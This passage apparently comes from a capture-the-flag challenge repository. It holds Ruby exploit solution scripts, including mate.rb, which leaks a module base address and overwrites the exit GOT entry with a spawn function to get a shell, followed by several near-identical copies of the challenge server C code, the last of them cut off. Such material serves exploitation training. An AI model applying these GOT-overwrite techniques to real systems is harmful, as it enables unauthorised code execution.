119 | end 120 | 121 | def ship 122 | puts "ship" 123 | $s.puts "ship" 124 | end 125 | 126 | def shut_down 127 | puts "exit" 128 | $s.puts "exit" 129 | end 130 | 131 | 132 | 133 | print $s.expect("> ")[0].cyan 134 | base = modinfo 135 | spawn = base + 0x1928 136 | new_formula [spawn].pack("Q") 137 | new_crate 16, 80 138 | move_tap 6 139 | ship 140 | 141 | 142 | print $s.expect("> ")[0].cyan 143 | new_crate 8, 8 144 | fill 6 145 | ship 146 | 147 | $s.interact 148 | -------------------------------------------------------------------------------- /solutions/mate.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # encoding: ascii-8bit 3 | 4 | require 'expect' 5 | require 'socket' 6 | require 'pty' 7 | require 'io/console' 8 | require 'colorize' 9 | 10 | 11 | def log data 12 | $stdout.puts data.inspect.black.on_white 13 | end 14 | 15 | def logerror e 16 | $stdout.puts e.inspect.black.on_red 17 | end 18 | 19 | 20 | module IOExtension 21 | def interact 22 | begin 23 | until self.closed? do 24 | readable, _, _, _ = IO.select([self, $stdin]) 25 | readable.each do |source| 26 | case source 27 | when self 28 | input = self.readchar 29 | $stdout.print input.cyan 30 | when $stdin 31 | self.print $stdin.gets 32 | else 33 | raise StandardError 34 | end 35 | end 36 | end 37 | rescue EOFError => e 38 | logerror e 39 | self.close 40 | return 41 | rescue Interrupt 42 | return 43 | end 44 | end 45 | end 46 | 47 | class IO 48 | prepend IOExtension 49 | end 50 | 51 | 52 | target = :local 53 | if ARGV[0] == 'remote' then target = :remote end 54 | 55 | case target 56 | when :local 57 | $s, slave = PTY.open 58 | PTY.spawn(ARGV[0], :in=>slave, :out=>slave) 59 | $s.echo = false 60 | when :remote 61 | host = ARGV[1] 62 | port = ARGV[2] 63 | $s = TCPSocket.new host, port 64 | end 65 | 66 | def modinfo 67 | puts "modinfo" 68 | $s.puts "modinfo" 69 | answer = $s.expect("> ")[0] 70 | base = answer[/0x.[[:xdigit:]]*/, 0].chomp 71 | log "Module base: #{base}" 72 | print answer.cyan 73 | return base.to_i 16 74 | end 75 | 76 | def new_formula *ingredients 77 | puts "new_formula " + ingredients.join(" ") 78 | $s.puts "new_formula " + ingredients.join(" ") 79 | print $s.expect("> ")[0].cyan 80 | end 81 | 82 | def tap_pos 83 | puts "tap_pos" 84 | $s.puts "tap_pos" 85 | answer = $s.expect("> ")[0] 86 | pos = answer[/0x.[[:xdigit:]]*/, 0].chomp 87 | log "Tap position: #{pos}" 88 | print answer.cyan 89 | return pos.to_i 16 90 | end 91 | 92 | def move_tap offset 93 | puts "move_tap " + offset.to_s 94 | $s.puts "move_tap " + offset.to_s 95 | print $s.expect("> ")[0].cyan 96 | end 97 | 98 | def fill amount 99 | puts "fill " + amount.to_s 100 | $s.puts "fill " + amount.to_s 101 | print $s.expect("> ")[0].cyan 102 | end 103 | 104 | def hose_pos 105 | puts "hose_pos" 106 | $s.puts "hose_pos" 107 | answer = $s.expect("> ")[0] 108 | pos = answer[/0x.[[:xdigit:]]*/, 0].chomp 109 | log "hose position: #{pos}" 110 | print answer.cyan 111 | return pos.to_i 16 112 | end 113 | 114 | def move_hose offset 115 | puts "move_hose " + offset.to_s 116 | $s.puts "move_hose " + offset.to_s 117 | print $s.expect("> ")[0].cyan 118 | end 119 | 120 | def extract amount 121 | puts "extract " + amount.to_s 122 | $s.puts "extract " + amount.to_s 123 | print $s.expect("> ")[0].cyan 124 | end 125 | 126 | def shut_down 127 | puts "exit" 128 | $s.puts "exit" 129 | end 130 | 131 | print $s.expect("> ")[0].cyan 132 | 133 | base = modinfo 134 | tap = tap_pos 135 | 136 | GOT_EXIT = base + 0x203060 137 | OFFSET_SPAWN = base + 0x1293 138 | 139 | new_formula [OFFSET_SPAWN].pack("Q") 140 | move_tap (GOT_EXIT - tap) 141 | fill 6 142 | 143 | shut_down 144 | 145 | 146 | 147 | $s.interact 148 | -------------------------------------------------------------------------------- /server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /mate/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /billboard/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /mate2/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 57 | } 58 | cur->next = command; 59 | } 60 | 61 | void help(int argc, char* argv[]) { 62 | command_t* command = module.commands; 63 | while (command != NULL) { 64 | printf("%s %s\t(%s)\n", command->name, command->usage, command->description); 65 | command = command->next; 66 | } 67 | } 68 | 69 | void load_module() { 70 | char* error; 71 | void* handle = dlopen(LIB, RTLD_LAZY); 72 | if (!handle) { 73 | logf("Error on dlopen %s: %s\n", LIB, dlerror()); 74 | exit(EXIT_FAILURE); 75 | } 76 | dlerror(); 77 | struct link_map* lm = (struct link_map*) handle; 78 | module.base = lm->l_addr; 79 | 80 | initialize_module = dlsym(handle, "initialize_module"); 81 | printf("%p\n", initialize_module); 82 | if ((error = dlerror()) != NULL) { 83 | logf("%s\n", error); 84 | exit(1); 85 | } 86 | initialize_module(&module, register_command); 87 | 88 | register_command("help", "\t\t\t", "Show this information", help); 89 | register_command("modinfo", "\t\t", "Show information about the loaded module", module_info); 90 | logf("Module successfully loaded.\n"); 91 | } 92 | 93 | 94 | 95 | int init_socket() { 96 | // create socket 97 | int sockfd = socket(AF_INET, SOCK_STREAM, 0); 98 | if (sockfd < 0) { 99 | perror("Unable to create socket."); 100 | exit(EXIT_FAILURE); 101 | } 102 | // reusable sockfd 103 | int val = 1; 104 | if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (void*) &val, sizeof val) < 0) { 105 | perror("Unable to set socket option REUSEADDR."); 106 | exit(EXIT_FAILURE); 107 | } 108 | // bind socket 109 | struct sockaddr_in addr; 110 | addr.sin_family = AF_INET; 111 | addr.sin_addr.s_addr = INADDR_ANY; 112 | addr.sin_port = htons(PORT); 113 | if (bind(sockfd, (struct sockaddr*) &addr, sizeof(addr)) < 0) { 114 | perror("Unable to bind socket."); 115 | exit(EXIT_FAILURE); 116 | } 117 | // set backlog 118 | if (listen(sockfd, BACKLOG) < 0) { 119 | perror("Unable to set backlog."); 120 | exit(EXIT_FAILURE); 121 | } 122 | return sockfd; 123 | } 124 | 125 | 126 | 127 | void handle_input(char* buf) { 128 | int argc = 0; 129 | char* argv[MAX_ARGC]; 130 | char* token = strtok(buf, " \n"); 131 | if (!token) { 132 | return; 133 | } 134 | while (argc < MAX_ARGC && token) { 135 | argv[argc] = token; 136 | argc++; 137 | token = strtok(NULL, " \n"); 138 | } 139 | 140 | command_t* cur = module.commands; 141 | while (cur != NULL) { 142 | if (!strcmp(cur->name, argv[0])) { 143 | cur->function(argc, argv); 144 | break; 145 | } 146 | cur = cur->next; 147 | } 148 | if (cur == NULL) { 149 | printf("Command not found.\n"); 150 | } 151 | return; 152 | } 153 | 154 | void interact() { 155 | printf("*\n* %s\n*\n%s\n> ", module.name, module.info); 156 | fflush(stdout); 157 | static char buf[4096]; 158 | while (1) { 159 | if (fgets(buf, 4096, stdin) != NULL) { 160 | handle_input(buf); 161 | printf("> "); 162 | } else { 163 | break; 164 | } 165 | } 166 | } 167 | 168 | void drop_privs() { 169 | char* user = "challenge"; 170 | struct passwd* pw = getpwnam(user); 171 | if (pw == NULL) { 172 | logf("User \"%s\" does not exist", user); 173 | exit(EXIT_FAILURE); 174 | } 175 | if (setgroups(0, NULL) != 0) { 176 | perror("Error on setgroups"); 177 | exit(EXIT_FAILURE); 178 | } 179 | if (setgid(pw->pw_gid) != 0) { 180 | perror("Error on setgid"); 181 | exit(EXIT_FAILURE); 182 | } 183 | if (setuid(pw->pw_uid) != 0) { 184 | perror("Error on setuid"); 185 | exit(EXIT_FAILURE); 186 | } 187 | } 188 | 189 | int main(int argc, char* argv[]) { 190 | 191 | int sockfd = init_socket(); 192 | logf("Server listening on port %d\n", PORT); 193 | 194 | if (signal(SIGCHLD, SIG_IGN) == SIG_ERR) { 195 | perror("Error setting SIGCHILD handler."); 196 | return EXIT_FAILURE; 197 | } 198 | 199 | load_module(); 200 | 201 | while (1) { 202 | socklen_t client_len = sizeof(client); 203 | int client_fd = accept(sockfd, (struct sockaddr*) &client, &client_len); 204 | if (client_fd < 0) { 205 | perror("Error creating socket for incoming connection"); 206 | exit(EXIT_FAILURE); 207 | } 208 | logf("New connection from %s on port %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 209 | 210 | int pid = fork(); 211 | if (pid < 0) { 212 | perror("Unable to fork"); 213 | exit(EXIT_FAILURE); 214 | } 215 | 216 | if (pid == 0) { // client 217 | alarm(300); 218 | close(sockfd); 219 | 220 | dup2(client_fd, 0); 221 | dup2(client_fd, 1); 222 | setvbuf(stdout, NULL, _IONBF, 0); 223 | 224 | drop_privs(); 225 | 226 | interact(); 227 | 228 | close(client_fd); 229 | logf("%s:%d disconnected\n", inet_ntoa(client.sin_addr), htons(client.sin_port)); 230 | exit(EXIT_SUCCESS); 231 | } else { // server 232 | logf("%s:%d forked new process with pid %d\n", inet_ntoa(client.sin_addr), htons(client.sin_port), pid); 233 | close(client_fd); 234 | } 235 | 236 | } 237 | } 238 | -------------------------------------------------------------------------------- /shredder/server.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #include "module.h" 19 | 20 | 21 | #define BACKLOG 32 22 | #define MAX_ARGC 256 23 | 24 | #define logf(...) fprintf(stderr, __VA_ARGS__) 25 | 26 | 27 | 28 | module_t module; 29 | struct sockaddr_in client; 30 | 31 | void (*initialize_module)(module_t* m, registration_function r); 32 | 33 | void module_info(int argc, char* argv[]) { 34 | printf("************************************\n"); 35 | printf("Information about the loaded module:\n"); 36 | printf("Name: %s\nBase address: %p\n", module.name, (void*) module.base); 37 | printf("************************************\n"); 38 | } 39 | 40 | void register_command(const char* name, const char* usage, const char* desc, handle_command_function function) { 41 | command_t* command = malloc(sizeof(command_t)); 42 | command->name = name; 43 | command->usage = usage; 44 | command->description = desc; 45 | command->function = function; 46 | command->next = NULL; 47 | 48 | if (module.commands == NULL) { 49 | module.commands = command; 50 | return; 51 | } 52 | 53 | // append to end of list 54 | command_t* cur = module.commands; 55 | while(cur->next != NULL) { 56 | cur = cur->next; 